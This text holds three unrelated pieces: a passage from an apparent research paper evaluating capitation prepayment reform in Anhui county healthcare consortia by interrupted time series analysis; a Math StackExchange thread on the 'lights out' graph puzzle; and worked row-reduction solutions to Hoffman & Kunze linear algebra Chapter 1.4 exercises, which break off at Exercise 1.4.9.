related to its efficiency and sustainable development. The change in the level of inpatient benefits is a comprehensive indicator of the integration effect of the medical service system and the health insurance system [19]. Therefore, two kinds of indicators are widely used in China [20, 21]. According to the hospitalisation database, the key indicators can be calculated as follows: (1) distribution of inpatients (including the constituent ratio of inpatients outside the county, in CHs and in THs): divide the number of inpatients outside the county/in CHs/in THs by the total number of inpatients, (2) distribution of NRCMS funds (including the constituent ratio of NRCMS funds outside the county/in CHs/in THs: divide the amount of compensation cost outside the county/in CHs/in THs by the total amount of compensation cost of NRCMS funds, and (3) benefits of inpatients (including average hospitalisation expenses and actual compensation ratio): divide each inpatients’ compensation fee of NRCMS funds by their total hospitalisation expenses. ### Statistical analysis ITSA offers a quasi-experimental research that can effectively evaluate the long-term effects of intervention [22, 23]. It comprehensively considers the original trends of things and compares the level and trend before and after the interventions to evaluate the effect of intervention. ITSA is divided into single-group and multiple-group analysis [22]. Multiple-group analysis requires that one or more control groups is available for comparison, whereas single-group analysis does not require a control group under study. ITSA has been proposed as a flexible and rapid design to be considered before defaulting to traditional two-arm, randomly controlled trials. Without a control group, the single-group analysis of ITSA can also obtain robust estimators. Hence, this study used the single-group analysis of ITSA [24, 25]. The standard regression model of the single-group ITSA is as follows: (1) ${Y}_{t}={\beta }_{0}+{\beta }_{1}{T}_{t}+{\beta }_{2}{X}_{t}+{\beta }_{3}{X}_{t}{T}_{t}+{\epsilon }_{t}$ In the above equation, Yt is the mean number of outcome variables measured, which is an evaluation index that describes study objects in month t, Tt is a time series variable indicating the time in months at time t from the start of the observation period (coding 1, 2, 3, 4 until the last month), Xt is a dummy variable indicating time t, which represents ‘0’ if time t occurs before policy intervention and ‘1’ if time t occurs after policy intervention, XtTt is an interaction term calculated by (T –25)×X so that it runs sequentially starting at 1 in this study, and εt is the random error term at time t, which represents the part that cannot be explained in the model. In this single-group model, β0 estimates the intercept or the baseline level of the outcome variable per month at the start time of the observation period, β1 estimates the slope or trend of the outcome variable before the policy intervention, β2 estimates the level change of the outcome variable immediately following the introduction of policy intervention, and β3 estimates the slope or trend change of the outcome variable between pre-intervention and post-intervention. The two parameters (β1 + β3) play an important role in estimating the post-intervention slopes or trend. We used a monthly mean value of outcome variables and determined February 2016 as the intervention time point for the start of capitation prepayment in the integrated healthcare consortium. Segmented linear regression divides the time series into pre- and post-February 2016 segments. Seasonality adjustment was not needed because the autocorrelation function of the outcome variables from 1 January 2014 to 30 June 2017 was tested. To allow for autocorrelation in the data, the official Stata packages ‘newey’ and ‘prais’ were used to fit generalised least-squares (GLS) regression [24]. Two packages allow for fitting a segmented linear regression model under the condition of autocorrelation and controlling for confounding omitted variables. We obtained the order of autocorrelation by examining both the autocorrelation function and the partial autocorrelation function [26]. We used the Durbin–Watson (DW) statistic to test whether the random error terms follow a first-order autoregressive [AR (1)] process [27]. The DW value was 1.3428 and autocorrelated disturbances existed. To confirm whether the outcome variable exists in other ‘interrupted time points’ before or after the true time of intervention, we used the median time point before the true time of intervention as the pseudo-start point to maximise power for testing a significant jump. Stata 15.0 software (Stata Corp LP, College Station, TX, USA) was used for statistical analysis in a Windows environment. The two-sided statistical significance level was set at 0.05. ### Ethical considerations Approval for this study was obtained from the Ethics Committee of the Tongji Medical College, Huazhong University of Science and Technology (IORG No: IORG0003571). ## Results ### Sociodemographic characteristics of study population Table 2 displays the details of inpatient characteristics by county, gender, and age before and after the formal operation of the reform in two counties. A total of 1,013,815 cases were collected from the hospitalisation database in two counties. Table 2 shows similar characteristics for both pre-intervention and post-intervention groups compared with those of the total number of inpatient cases. Table 2 Descriptive statistics of inpatient characteristics in two counties. ICHC reform* Items Total before after County Dingyuan 343,981(33.93) 192,288(34.37) 151,693(33.39) Funan 669,834(66.07) 367,224(65.63) 302,610(66.61) Gender Male 560,008(55.24) 310,660(55.52) 249,347(54.89) Female 453,807(44.76) 248,852(44.48) 204,956(45.11) Age, years Less than 20 126,067(12.43) 71,734(12.82) 54,333(11.96) 20–39 186,658(18.41) 111,218(19.87) 75,439(16.61) 40–59 275,778(27.20) 146,158(26.12) 129,620(28.53) 60–79 372,192(36.71) 202,548(36.20) 169,644(37.34) More than 79 53,120(5.24) 27,853(4.98) 25,267(5.56) Mean (SD) 48.99 49.92 47.84 Note: *We selected February 2016 (formal operation of the reform) as the time point for comparing characteristcs of inpatients before and after the intervention in two counties. ### Overall level of indicators before and after policy intervention Table 3 shows the details on the overall level of indicators of the pre-intervention and post-intervention groups. In terms of the distribution of inpatients, compared with the overall level before the intervention, the constituent ratio of inpatients outside the county in both counties decreased (–15.89% and –22.36%), respectively. The constituent ratio of inpatients in CHs increased (6.16% and 3.89%), respectively. The constituent ratio of inpatients in THs in Dingyuan decreased (–9.11%). However, Funan showed an upward trend in THs of (18.43%). A similar difference existed between the distribution of inpatients and NRCMS funds. The constituent ratio of NRCMS funds outside both counties declined. The decline rate of the post-intervention group in Dingyuan was significant (–21.54%). The constituent ratio of NRCMS funds in CHs in both counties increased (10.20% and 10.92%), respectively. The constituent ratio of NRCMS funds in THs in the two counties was opposite; Dingyuan decreased (–15.12%), but Funan increased (8.29%). In terms of the benefits of inpatients, the average hospitalisation expenses in Dingyuan increased after the policy intervention (1.52%), but it decreased in Funan (–3.73%), and the actual compensation ratios in both counties increased (15.33% and 9.49%). Table 3 Indicators of overall study population and subgroups of pre-intervention and post-intervention. Indicators Regions Overall study Pre-intervention Post-intervention Constituent ratio of inpatients outside the county (%) Dingyuan 11.30 12.08 10.16 Funan 24.20 26.61 20.66 Constituent ratio of inpatients in CHs (%) Dingyuan 67.67 66.02 70.09 Funan 52.94 52.12 54.15 Constituent ratio of inpatients in THs (%) Dingyuan 20.94 21.74 19.76 Funan 22.86 21.27 25.19 Constituent ratio of NRCMS funds outside the county (%) Dingyuan 23.22 25.44 19.96 Funan 38.49 41.00 34.80 Constituent ratio of NRCMS funds in CHs (%) Dingyuan 69.32 66.57 73.36 Funan 52.03 49.83 55.27 Constituent ratio of NRCMS funds in THs (%) Dingyuan 7.39 7.87 6.68 Funan 9.48 9.17 9.93 Average hospitalisation expenses (RMB) Dingyuan 5825.21 5789.53 5877.68 Funan 5195.81 5275.38 5078.79 Actual compensation ratio (%) Dingyuan 49.31 46.43 53.55 Funan 54.03 52.03 56.97 ### ITSA on the distribution of inpatients in two counties The constituent ratio of inpatients outside Dingyuan County showed a slightly decreasing trend during the period before the policy intervention (–0.26, 95%CI: –0.38 to –0.15, p–value < 0.001). After the policy intervention had been implemented, the constituent ratio of inpatients outside the county changed significantly and showed a slightly increasing trend (0.27, 95%CI: 0.12 to 0.42, p–value < 0.01). Similarly, the constituent ratio of inpatients outside Funan County decreased slightly (–0.08, 95%CI: –0.19 to 0.02, p–value = 0.100). After implementation, the downward trend remained unchanged (–0.46, 95%CI: –0.68 to –0.25, p–value < 0.001) (Figure 2(a) and Table 4). Figure 2 The distribution of inpatients over time. Note: (A) Constituent ratio of inpatients outside the county in Dingyuan and Funan (%); (B) Constituent ratio of inpatients in CHs in Dingyuan and Funan (%); (C) Constituent ratio of inpatients in THs in Dingyuan and Funan (%). Table 4 Estimated level and trend changes of indicators before and after the intervention in two counties. Coefficient (95%CI) Intercept Preintervention trend Level change Trend change Constituent ratio of inpatients outside the county (%) Dingyuan 15.24*** (13.17 to 17.31) –0.26*** (–0.38 to –0.15) 1.47 (–0.13 to 3.08) 0.27** (0.12 to 0.42) Funan 27.63*** (26.26 to 28.99) –0.08 (–0.19 to 0.02) –0.48 (–3.09 to 2.14) –0.46*** (–0.68 to –0.25) Constituent ratio of inpatients in CHs (%) Dingyuan 57.21*** (52.37 to 62.05) 0.73*** (0.42 to 1.05) –5.17* (–9.82 to 0.52) –0.77* (–1.21 to –0.34) Funan 49.94*** (47.97 to 51.90) 0.18** (0.06 to 0.30) –1.93 (–5.17 to 1.31) 0.02 (–0.26 to 0.30) Constituent ratio of inpatients in THs (%) Dingyuan 27.01*** (23.79 to 30.23) –0.44*** (–0.66 to –0.22) 3.47* (0.13 to 6.81) 0.47** (0.16 to 0.79) Funan 22.43*** (20.85 to 24.02) –0.10 (–0.21 to 0.02) 2.41 (–0.46 to 5.28) 0.44*** (0.22 to 0.67) Constituent ratio of NRCMS funds outside the county (%) Dingyuan 31.85*** (26.40 to 37.31) –0.53** (–0.86 to –0.21) 0.10 (–4.20 to4.40) 0.70** (0.32 to 1.09) Funan 44.13*** (41.29 to 46.96) –0.32** (–0.53 to –0.11) 3.56 (–1.58 to 8.72) –0.30* (–0.71 to 0.11) Constituent ratio of NRCMS funds in CHs (%) Dingyuan 58.40*** (51.43 to 65.37) 0.68** (0.25 to 1.11) –0.51 (–6.17 to 5.15) –0.87* (–1.41 to 0.34) Funan 45.71*** (42.71 to 48.72) 0.40** (0.18 to 0.61) –3.20 (–8.16 to 1.75) –0.04* (–0.46 to 0.37) Constituent ratio of NRCMS funds in THs (%) Dingyuan 9.37*** (7.66 to 11.08) –0.13* (–0.24 to –0.01) 0.25 (–1.57 to 2.06) 0.17* (–0.03 to 0.33) Funan 10.16*** (9.52 to 10.80) –0.08*** (–0.12 to –0.04) –0.37 (–1.32 to 0.59) 0.34*** (0.23 to 0.45) Average hospitalisation expenses (RMB) Dingyuan 5005.05*** (4605.84 to 5404.27) 65.37*** (38.69 to 92.06) –304.55 (–873.59 to 264.50) –122.52*** (–186.52 to –58.51) Funan 5003.84*** (4758.65 to 5249.02) 22.63* (2.81 to 42.45) –124.69 (–541.19 to 291.81) –68.39** (–108.35 to –28.43) Actual compensation ratio (%) Dingyuan 52.02*** (49.13 to 54.92) –0.47** (–0.73 to –0.20) 7.69** (3.33 to 12.05) 1.15*** (0.76 to 1.54) Funan 51.88*** (50.40 to 53.35) 0.01 (–0.11 to 0.14) –1.71** (–4.81 to 1.39) 0.80*** (0.57 to 1.03) Note: ***, **, * means statistically significant at the 0.1%, 1% and 5% levels respectively; CI: Confidence interval. Before February 2016, a consistent upward trend was apparent in the constituent ratio of inpatients in CHs in Dingyuan and Funan (0.73, 95%CI: 0.42 to 1.05, p–value < 0.001; 0.18, 95%CI: 0.06 to 0.30, p–value < 0.01). This policy intervention was associated with a significant decrease in the level (–5.17, 95%CI: –9.82 to 0.52, p–value < 0.05) and slope (–0.77, 95%CI: –1.21 to –0.34, p–value < 0.05) in Dingyuan. However, the constituent ratio of inpatients in CHs in Funan did not change significantly for either level (–1.93, 95%CI: –5.17 to 1.31, p–value = 0.235) or trend (0.02, –0.26 to 0.30, p–value = 0.885) (Figure 2(b) and Table 4). The segmented linear regression analysis results indicate that prior to the policy intervention in February 2016, the trend of the constituent ratio of inpatients in CHs in Dingyuan significantly declined (–0.44, 95%CI: –0.66 to –0.22, p–value < 0.001). In February 2016, there was an immediate increase in the level of inpatients (3.47, 95%CI: 0.13 to 6.81, p–value < 0.05). The slope of the constituent ratio of inpatients in CHs significantly increased in Dingyuan (0.47, 95%CI: 0.16 to 0.79, p–value < 0.01) and Funan (0.44, 95%CI: 0.22 to 0.67, p–value < 0.001) (Figure 2(c) and Table 4). ### ITSA on the distribution of NRCMS funds in two counties As shown in Figure 3(a) and Table 4, similar to the trend of the constituent ratio of inpatients outside the two counties, the constituent ratio of NRCMS funds outside the county showed a downward trend in Dingyuan (–0.53, 95%CI: –0.86 to –0.21, p–value < 0.01) and Funan (–0.32, 95%CI: –0.53 to –0.11, p–value < 0.01). After the implementation, the trend of the constituent ratio of NRCMS funds outside the county was continuous in Funan (–0.30, 95%CI: –0.71 to 0.11, p–value < 0.05). However, an opposing trend was noted in Dingyuan (0.70, 95%CI: 0.32 to 1.09, p–value < 0.01). Figure 3 The distribution of NRCMS funds over time. Note: (A) Constituent ratio of NRCMS funds outside the county in Dingyuan and Funan (%); (B) Constituent ratio of NRCMS funds in CHs in Dingyuan and Funan (%); (C) Constituent ratio of NRCMS funds in THs in Dingyuan and Funan (%). Before the policy intervention, the constituent ratio of NRCMS funds in CHs in both Dingyuan and Funan retained an increasing trend (0.68, 95%CI: 0.25 to 1.11, p–value < 0.01; 0.40, 95%CI: 0.18 to 0.61, p–value < 0.01). This proportion showed a slight decreasing trend in Dingyuan during the period after policy implementation at a rate of –0.19% per month (–0.87, 95%CI: –1.41 to 0.34, p-value < 0.05), but the trend in Funan was continuous after policy intervention at a rate of 0.36% per month (–0.04, 95%CI: –0.46 to 0.37, p-value < 0.05) (Figure 3(b) and Table 4). A simultaneous slight decrease was observed in the constituent ratio of NRCMS funds in CHs before policy intervention in both counties (–0.13, 95%CI: –0.24 to –0.01, p-value < 0.05; –0.08, 95%CI: –0.12 to –0.04, p-value < 0.001), though there was no significant change in level. Conversely, there was a significant upward trend in the period of post-intervention in Funan (0.34, 95%CI: 0.23 to 0.45, p-value < 0.001) but the change in trend did not differ significantly in Dingyuan (0.15, 95%CI: –0.03 to 0.33, p-value = 0.10) (Figure 3 (c) and Table 4). ### ITSA on the benefits of inpatients in two counties As presented in Figure 4(a) and Table 4, the segmented linear regression analysis of the average hospitalisation expenses found an upward trend before policy intervention with 65.37 and 22.63 yuan per month in Dingyuan and Funan, respectively (95%CI: 38.69 to 92.06, p-value < 0.001). Although the policy was introduced, the average hospitalisation expenses did not change significantly. However, after the implementation of the policy, the rate remained on a downward trend in the two counties (–122.52, 95%CI: –186.52 to –58.51, p-value < 0.001; –68.39, 95%CI: –108.35 to –28.43, p-value < 0.01). Figure 4 The benefits of inpatients over time. Note: (A) Average hospitalisation expenses in Dingyuan and Funan (CNY); (B) Actual compensation ratio in Dingyuan and Funan (%). During the baseline of 25 months before the policy implementation, the actual compensation ratio of inpatients in Dingyuan increased at a rate of 0.47% per month. The intervention was associated with a significant increase in level change (7.69, 95%CI: 3.33 to 12.05, p-value < 0.01) and slope change (1.15, 95%CI: 0.76 to 1.54, p-value < 0.001). Similarly, in Funan, the actual compensation ratio of inpatients also showed an upward trend after policy intervention (0.80, 95%CI: 0.57 to 1.03, p-value < 0.001). However, the level change showed a decrease when the policy was introduced (–1.71, 95%CI: –4.81 to 1.39, p-value < 0.01) (Figure 4(b) and Table 4). ## Discussion Our research shows that through comparing the trend of changes before and after the formal operation of the capitation prepayment based ICHC in the two counties, significant improvement was observed in the effect of most indicators. A single and ‘fragmented’ system design cannot achieve the purpose of reform. According to a study conducted in Gansu Province [28], the differential hospitalisation compensation ratio between three-tiered hospitals only shows a slight change in patients’ behaviour. Moreover, it is believed that rural residents prefer quality to price when choosing hospitals. This finding is consistent with the empirical evidence provided by PH Brown [29]. The reform of capitation prepayment based ICHC of Anhui shows that the changes in patient behaviour and the improvement of the benefit level are closely related to the integrated design of the system. After the reform of ICHC, the behaviour of patients in the two counties improved markedly, average hospitalisation expenses showed a decreasing trend, and the actual compensation ratio increased significantly. This reform includes the integration and coordination of many policies. The reform of ICHC is based on the integration of the management and payment system. Through the adjustment of the interest distribution mechanism, the common goal incentives and constraints within the ICHC are formed. On the one hand, to maximise the balance of NRCMS funds, healthcare resources (e.g. personnel and equipment) in CHs are utilised by primary care hospitals in the ICHC. Meanwhile, the health demands of rural residents were met through the family doctor signing service system. These measures enhance the capability of THs and reduce the inappropriate medical expenses, as well as promote the first diagnosis of residents in THs, thus increasing the proportion of inpatients in THs and reducing the average hospitalisation expenses. Hence, we suggested that it can develop telemedicine technology [30], share three-tiered resources, and further enhance primary care capability. On the other hand, through payments for disease in the inpatient of capitation prepayment based ICHC and setting the quota of diseases, ICHCs should undertake the excess expenses. CHs and THs are responsible for ‘100 +N’ and ‘50+N’ diseases, respectively (diseases in the two groups are not repeated) and the implementation of a clinical pathway (CP). The reform promoted the hospitals to improve their healthcare capability and is similar to the Kaiser Permanente Model in the United States [31, 32, 33]. However, the study also found some problems in the ICHC reform, consistent with the research hypothesis. Among these problems is a slight upward trend of the constituent ratio of inpatients and NRCMS funds outside the county (0.27, 95%CI: 0.12 to 0.42, p-value < 0.01; 0.70, 95%CI: 0.32 to 1.09, p-value < 0.01) and a slight downward trend of the constituent ratio of inpatients and NRCMS funds in CHs after the reform (–0.87, 95%CI: –1.41 to 0.34, p-value < 0.05) in Dingyuan. Both results were inconsistent with the reform goals, suggesting that the reform areas were close to large cities with high medical levels and abundant medical resources, which will have a huge ‘syphon effect’ and result in the loss of inpatients in the county. The upward trend of the constituent ratio of inpatients and NRCMS funds in THs is likewise more evident in Funan than in Dingyuan. The result is based on the better policies formulated by Funan in the field of health management. It is suggested that the low ability of health management in Dingyuan will lead patients to seek high-level hospitals. Funan established a leading group for chronic disease management in CHs within ICHCs to carry out health education and health promotion for primary care patients, a health record system and conducted regular follow-ups. Furthermore, Funan carried out the payment of ‘pay for the disease in outpatients’ for chronic and rehabilitation diseases in CHs, thus promoting inpatient to primary care hospitals. This situation is similar to the ACOs, in which the Massachusetts General Hospital conducted a three-year follow-up of elderly chronic disease patients. It was found that for every US $1 that was invested in the Community Resource Commissioner, the cost of medical care saved was US$2.65, though hospitalisation rate was reduced by 20% and the proportion of hospitalised patients with chronic diseases in the community increased significantly [34]. Evidence from the United States, England, the Netherlands, and China indicates that competition among healthcare consortiums can improve health outcomes [35, 36, 37, 38]. Despite the favourable changes of the indicators in this study, positive results were presented at the beginning of the reform. However, the ICHC reform is far from a panacea at present. Take three ICHCs in Funan as an example. If healthcare service capability in different ICHCs cannot match the service population and there is no threshold for patient referral between ICHCs at this stage, when the only motivation for the stronger ICHC is to obtain more patients from the entire region, then the leading ICHC will essentially use this market competition mechanism to expand their strength and profits. Hence, the development of other ICHCs will be inhibited. These alliances are exactly why we should remain cautious about the ICHC policy. Therefore, to form a healthy competition among different ICHCs, patients must be effectively guided to the corresponding ICHC through the family doctor signing service system. The remaining funds of the ICHC should be allocated to strengthen the weak points of the healthcare services and introduce private hospitals to form a new ICHC. The horizontal coordination between ICHCs is reinforced by capitation prepayment and NRCMS compensation design. ## Limitations This study presents several limitations. First, considering the accessibility of the survey data, we only collected three years of observation from two counties in Anhui Province, where the reform was carried out, and no control group was established in ITSA, and there may be deficiencies in the assessment results. Second, the outcome variables included in this study are mainly related to the distribution of patients and NRCMS funds and the benefit level of patients. However, health outcome indicators, which may be the most important indicator of the effect of reform, are not given sufficient attention. Third, although most of the reform measures are based on capitation prepayment in ICHC, a small number of other measures of reforms also exist, which we did not consider and may lead us to inaccurate results. ## Conclusion By comparing the results of the two counties, it can be found that the primary health management of inpatients plays an important role in ICHC adjustment and optimization of inpatients and fund distribution, and also has important implications for ICHC reform in other counties. On the one hand, the fund should further encourage the transfer of doctors and medical technology from county-level hospitals to township hospitals, so as to improve the hospitalization service capacity of township hospitals. At the same time, the number of ICHC, the attribute of the lead hospital in ICHC and the suitability of the disease list also need to be paid attention to. ## Acknowledgments The authors would like to thank the National Natural Science Foundation of China. We also thank the Health and Family Planning Commission in Dingyuan and Funan County, Anhui for providing us with the data used in this study. ## Funding Information This project was funded by the Natural Science Foundation of China, grant number (71673101), and the Natural Science Foundation of China, grant number (71473096). ## Competing Interests The authors have no competing interests to declare. ## Reviewers Mingsheng Chen, Associate Professor, PhD, School of Health Policy and Management, Nanjing Medical University, China. One anonymous reviewer. ## References 1. Linden, M, Gothe, H and Ormel, J. Pathways to care and psychological problems of general practice patients in a “gate keeper” and an “open access” health care system. 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The impact of Regional co-payment and National reimbursement criteria on statins use in Italy: an interrupted time-series analysis. Bmc Health Services Research, 2014; 14(1): 6–6. DOI: https://doi.org/10.1186/1472-6963-14-6 26. Serumaga, B, Ross-Degnan, D, Avery, A, Elliott, R, Majumdar, S, Zhang, F and Soumerai, S. Effect of pay for performance on the management and outcomes of hypertension in the United Kingdom: interrupted time series study. Bmj, 2011; 342: d108. DOI: https://doi.org/10.1136/bmj.d108 27. Penfold, R and Zhang, F. Use of interrupted time series analysis in evaluating health care quality improvements. Academic Pediatrics, 2013; 13(6): S38–S44. DOI: https://doi.org/10.1016/j.acap.2013.08.002 28. Qian, D, Yin, A and Meng, Q. The Analysis of the Affecting Factors on Choice of Health Care Providers by Rural Inpatients in Gansu Province [in Chinese]. Chinese Health Economics, 2008; 27(1): 40–43. 29. Brown, P and Theoharides, C. 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https://math.stackexchange.com/questions/2315000/proof-for-a-simple-graph-puzzle
# Proof for a simple graph puzzle First up apologies if this is the wrong board to post on, there are too many stack exchanges :P This problem comes in 5 parts, the only required part is part 1 but there are plenty of internet cookies available for those that attempt other parts. The extra parts can be done in any order. Setup: The rules are simple, you have a graph with n nodes and e edges connecting the nodes together. There wont be any duplicate edges. Each node has a binary state of true or false and each node may start in either state. The aim is to get all nodes set to true however each time you flip the state of a node it also flips any connected nodes. A flip constitutes a move and you may take as many moves as you would like. Example: Green is true and red is false Starting state: View Example 1 This puzzle could be solved in 1 move by flipping the node in the top right. However for the sake of this example lets say I’m really bad at this puzzle and chose to flip the top left node, it would also flip the top right node and the bottom node: View Example 2 This puzzle was solvable in just 1 move. Example 2: It is however possible to construct a puzzle that is impossible, take the puzzle below as an example. It doesn’t matter how many flips you do as there are only 2 possible states and neither result in the success state. Example 3 has to be directly linked as I can't post more than 2 links: i.stack.imgur.com/Es61y.png Problem 1: I am looking for an algorithm/equation to determine whether a given graph is possible, just a true or false, that’s it. Problem 2: Once you know it’s possible I would line to know the minimum number moves required for the solution. Problem 3: If you impose a limit on how many times you may flip a node can you come up with updated solutions to parts 1 and 2 Problem 4: Similar to part 3, how does your solution change when you can have directional edges that only pass a flip along in a certain direction, Finally Problem 5: What are the moves required to solve the puzzle Conclusion: I should clarify that I have no idea if the problems above are solvable. They seem like they should be but it’s been too long since I have done graph theory and I don’t have the time to redo the syllabus. Best of luck to those who give it a go and happy problem solving. • This is called the "lights out" puzzle. It and its variants are very well studied. See pdfs.semanticscholar.org/dc08/… as a quick reference to the graph version of the problem. – Bob Krueger Jun 8 '17 at 17:39 • "very well studied" might be an overstatement. I have seen active research on the puzzle and its variants, but it is certainly not complete enough to answer all of your questions in the general graph context. – Bob Krueger Jun 8 '17 at 17:43 • For problem 3, there is never any advantage in flipping a node more than once as two flips returns you to where you started and the flips commute. A solution is just a list of nodes to flip. That means there are a finite number of possible solutions to try, just $2^n-1$ – Ross Millikan Jun 8 '17 at 17:52 • @Bob1123 Ofc I come up with a puzzle that already exists -_-. I will read through that doc you linked but after having a skim it seems awfully confusing. – Andy A Jun 8 '17 at 18:24 • @RossMillikan I was hoping for something with less brute force, and I'm not entirely sure your observation about multiple flips is true but I am yet to come up with an example that goes against this assumption. – Andy A Jun 8 '17 at 18:27 I have a solution for parts 1, 2, 3 and 5. It's not too bad once you get your head around it but would take a lot for me to explain, more than this post can take, and I'm not entirely confident on how it works so think it's just best if you read this. There is also an applet to show you his solution works, available here Part 3 is solvable by using the answer to part 5 and simply checking if a node that isn't flippable needs a flip. If you extend the game to have more than 2 states per node then you can do a similar trick with larger limits. Part 4 is still an open question so I will still be excepting answers (despite how this thread seems dead) • As was explained in the comments to your question, part 3 is trivial as there is no need to flip a light more than once. – M. Winter Jun 12 '17 at 10:41 • You can still put a limit of 0 so you can't flip a particular node which would change the answer but I suppose you could just check the solution doesn't flip that node using the answer to part 5. I will update my answer to reflect. – Andy A Jun 12 '17 at 15:17 • @M.Winter also again that you can have higher limits if there are more states which that website above does solve – Andy A Jun 12 '17 at 15:24
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https://linearalgebras.com/hoffman-kunze-chapter-1-4.html
If you find any mistakes, please make a comment! Thank you. ## Solution to Linear Algebra Hoffman & Kunze Chapter 1.4 #### Exercise 1.4.1 The coefficient matrix is $$\left[\begin{array}{ccc} \frac13 & 2 & -6\\ -4& 0& 5\\ -3&6&-13\\ -\frac73&2&-\frac83 \end{array}\right]$$This reduces as follows: $$\rightarrow\left[\begin{array}{ccc} 1 & 6 & -18\\ -4& 0& 5\\ -3&6&-13\\ -7&6&-8 \end{array}\right] \rightarrow \left[\begin{array}{ccc} 1 & 6 & -18\\ 0&24& -67\\ 0&24&-67\\ 0&48&-134 \end{array}\right] \rightarrow \left[\begin{array}{ccc} 1 & 6 & -18\\ 0&24& -67\\ 0&0&0\\ 0&0&0 \end{array}\right] \rightarrow$$$$\rightarrow \left[\begin{array}{ccc} 1 & 6 & -18\\ 0&1& -67/24\\ 0&0&0\\ 0&0&0 \end{array}\right] \rightarrow \left[\begin{array}{ccc} 1 & 0 & -5/4\\ 0&1& -67/24\\ 0&0&0\\ 0&0&0 \end{array}\right]$$Thus $$x-\frac54z=0$$$$y-\frac{67}{24}z=0$$Thus the general solution is $(\frac54z, \frac{67}{24}z,z)$ for arbitrary $z\in F$. #### Exercise 1.4.2 $A$ row-reduces as follows: $$\rightarrow \left[\begin{array}{cc} 1 & -i \\ 1 & 1 \\ i & 1+i \end{array}\right] \rightarrow \left[\begin{array}{cc} 1 & -i \\ 0 & 1+i \\ 0 & i \end{array}\right] \rightarrow \left[\begin{array}{cc} 1 & -i \\ 0 & 1 \\ 0 & i \end{array}\right] \rightarrow \left[\begin{array}{cc} 1 & 0 \\ 0 & 1 \\ 0 & 0 \end{array}\right]$$Thus the only solution to $AX=0$ is $(0,0)$. #### Exercise 1.4.3 $$\left[\begin{array}{cc} 1 & 0\\ 0 & 1 \end{array}\right],\quad \left[\begin{array}{cc} 1 & x\\ 0 & 0 \end{array}\right],\quad \left[\begin{array}{cc} 0 & 1\\ 0 & 0 \end{array}\right],\quad \left[\begin{array}{cc} 0 & 0\\ 0 & 0 \end{array}\right]$$ #### Exercise 1.4.4 The augmented coefficient matrix is $$\left[\begin{array}{ccc|c} 1 & -1 & 2 & 1\\ 2 & 0 & 2 & 1\\ 1 & -3 & 4 & 2 \end{array}\right]$$We row reduce it as follows: $$\rightarrow \left[\begin{array}{ccc|c} 1 & -1 & 2 & 1\\ 0 & 2 & -2 & -1\\ 0 & -2 & 2 & 1 \end{array}\right] \rightarrow \left[\begin{array}{ccc|c} 1 & -1 & 2 & 1\\ 0 & 1 & -1 & -1/2\\ 0 & 0 & 0 & 0 \end{array}\right] \rightarrow \left[\begin{array}{ccc|c} 1 & 0 & 1 & 1/2\\ 0 & 1 & -1 & -1/2\\ 0 & 0 & 0 & 0 \end{array}\right]$$Thus the system is equivalent to\begin{alignat*}{1} x_1+x_3 &= 1/2\\ x_2-x_3 &= -1/2 \end{alignat*}Thus the solutions are parameterized by $x_3$. Setting $x_3=c$ gives $x_1=1/2-c$, $x_2=c-1/2$. Thus the general solution is $$\left(\textstyle\frac12-c,\ \ c-\frac12,\ \ c\right)$$for $c\in\mathbb R$. #### Exercise 1.4.5 $$x+y=0$$$$x+y=1$$ #### Exercise 1.4.6 The augmented coefficient matrix is as follows $$\left[\begin{array}{cccc|c} 1 & -2 & 1 & 2 & 1\\ 1 & 1 & -1 & 1& 2\\ 1 & 7 & -5 & -1 & 3 \end{array}\right]$$This row reduces as follows: $$\rightarrow \left[\begin{array}{cccc|c} 1 & -2 & 1 & 2 & 1\\ 0 &3 & -2 & -1& 1\\ 0 & 9 & -6 & -3 & 2 \end{array}\right] \rightarrow \left[\begin{array}{cccc|c} 1 & -2 & 1 & 2 & 1\\ 0 &3 & -2 & -1& 1\\ 0 & 0 & 0 & 0 & -1 \end{array}\right]$$At this point there's no need to continue because the last row says $0x_1 + 0x_2+0x_3+0x_4=-1$. But the left hand side of this equation is zero so this is impossible. #### Exercise 1.4.7 The augmented coefficient matrix is $$\left[\begin{array}{ccccc|c} 2 & -3 & -7 & 5 & 2 & -2\\ 1 & -2 & -4 & 3 & 1 & -2\\ 2 & 0 & -4 & 2 & 1 & 3\\ 1 & -5 & -7 & 6 & 2 & -7 \end{array}\right]$$We row-reduce it as follows $$\rightarrow\left[\begin{array}{ccccc|c} 1 & -2 & -4 & 3 & 1 & -2\\ 2 & -3 & -7 & 5 & 2 & -2\\ 2 & 0 & -4 & 2 & 1 & 3\\ 1 & -5 & -7 & 6 & 2 & -7 \end{array}\right] \rightarrow\left[\begin{array}{ccccc|c} 1 & -2 & -4 & 3 & 1 & -2\\ 0 & 1 & 1 & -1 & 0 & 2\\ 0 & 4 & 4 & -4 & -1 & 7\\ 0 & -3 & -3 & 3 & 1 & -5 \end{array}\right]$$$$\rightarrow\left[\begin{array}{ccccc|c} 1 & 0 & -2 & 1 & 1 & 2\\ 0 & 1 & 1 & -1 & 0 & 2\\ 0 & 0 & 0 & 0 & -1 & -1\\ 0 & 0 & 0 & 0 & 1 & 1 \end{array}\right] \rightarrow\left[\begin{array}{ccccc|c} 1 & 0 & -2 & 1 & 0 & 1\\ 0 & 1 & 1 & -1 & 0 & 2\\ 0 & 0 & 0 & 0 & 1 & 1\\ 0 & 0 & 0 & 0 & 0 & 0 \end{array}\right]$$Thus \begin{alignat*}{1} x_1-2x_3+x_4 &= 1\\ x_2+x_3-x_4 &=2\\ x_5 &= 1 \end{alignat*}Thus the general solution is given by $(1+2x_3-x_4, 2+x_4-x_3, x_3, x_4, 1)$ for arbitrary $x_3,x_4\in F$. #### Exercise 1.4.8 The matrix $A$ is row-reduced as follows: $$\rightarrow\left[\begin{array}{ccc} 1 & -3 & 0\\ 0 & 7 & 1\\ 0 & 8 & 2 \end{array}\right] \rightarrow\left[\begin{array}{ccc} 1 & -3 & 0\\ 0 & 7 & 1\\ 0 & 1 & 1 \end{array}\right] \rightarrow\left[\begin{array}{ccc} 1 & -3 & 0\\ 0 & 1 & 1\\ 0 & 7 & 1 \end{array}\right]$$$$\rightarrow\left[\begin{array}{ccc} 1 & -3 & 0\\ 0 & 1 & 1\\ 0 & 0 & -6 \end{array}\right] \rightarrow\left[\begin{array}{ccc} 1 & -3 & 0\\ 0 & 1 & 1\\ 0 & 0 & 1 \end{array}\right] \rightarrow\left[\begin{array}{ccc} 1 & 0 & 0\\ 0 & 1 & 0\\ 0 & 0 & 1 \end{array}\right]$$Thus for every $(y_1,y_2,y_3)$ there is a (unique) solution. #### Exercise 1.4.9 We row reduce as follows $$\left[\begin{array}{cccc|c} 